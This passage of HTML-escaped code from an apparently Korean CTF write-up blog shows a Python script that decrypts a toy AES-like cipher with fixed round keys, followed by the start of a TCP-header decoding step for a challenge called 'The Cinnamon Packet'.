class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x09&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# --- 고정 라운드키 (ASCII 그대로 16바이트) ---
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RK&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;One_DoughLorean_&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# round 1
&lt;/span&gt;    &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;MartyMcPie_With_&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# round 2
&lt;/span&gt;    &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Doc_Brown_Sugar!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# round 3
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;decrypt_block&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;한 블록(16B) 복구&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ct&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# round 3 → 2 → 1
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rk&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inv_mix_columns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inv_shift_rows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inv_sub_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;add_round_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;decrypt_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;in_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ValueError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;입력 길이가 16의 배수가 아님: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; bytes&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytearray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;off&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decrypt_block&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;off&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;off&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[+] 복구 완료: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out_path&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; bytes)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# 보기 좋게 일부 출력
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;txt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[*] UTF-8로 해석한 내용(일부):&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;txt&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;txt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;txt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;...&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;in_file&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;brunner.bin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out_file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;recovered.bin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;decrypt_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-18.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-cinnamon-packet&quot;&gt;The Cinnamon Packet&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-4&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-19.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;알 수 없는 패킷을 1 -&amp;gt; 2 -&amp;gt; 3 -&amp;gt; 1로 돌아가면서 보내고 있었습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-4&quot;&gt;분석 과정&lt;/h3&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;srcport&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;srcport&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;checksum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;checksum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;window_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
